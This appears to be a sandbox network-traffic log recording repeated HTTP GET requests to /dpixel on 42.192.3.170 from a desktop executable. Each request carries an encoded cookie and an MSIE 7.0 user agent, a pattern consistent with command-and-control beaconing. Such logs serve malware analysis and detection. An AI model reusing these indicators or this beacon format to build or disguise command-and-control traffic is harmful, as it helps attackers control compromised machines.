2025-01-03 01:53:16 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:16 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:16 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49918	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:18 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:18 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:18 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49930	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:20 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:20 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:20 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49945	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:22 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:22 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:22 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49957	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:24 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:24 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:24 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49966	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:25 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:26 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:26 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49982	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:27 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:28 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:28 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49993	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:29 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:30 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:30 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50005	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:31 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:32 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:32 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50016	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:33 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:34 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:33 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50030	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:35 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:36 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:35 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50038	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:37 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:37 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:37 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50052	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:39 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:39 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:39 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50057	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:40 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:41 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:41 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50058	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:42 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:43 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:43 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50059	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:44 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:45 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:45 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50060	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:46 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:47 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:46 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50061	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:48 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:49 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:48 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50062	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:50 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50064	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:56 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:56 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:56 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50065	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:58 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:58 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:58 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50066	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:59 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:00 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:00 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50067	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:01 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:02 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:02 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50068	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:03 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:04 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:04 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50069	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:05 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:06 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:06 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50070	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:07 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:08 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:08 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50071	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:09 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:10 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:10 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50072	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:11 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:12 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:12 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50073	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:13 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:14 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:14 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50074	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:15 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:16 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:16 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50075	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:18 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:18 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:18 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50076	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
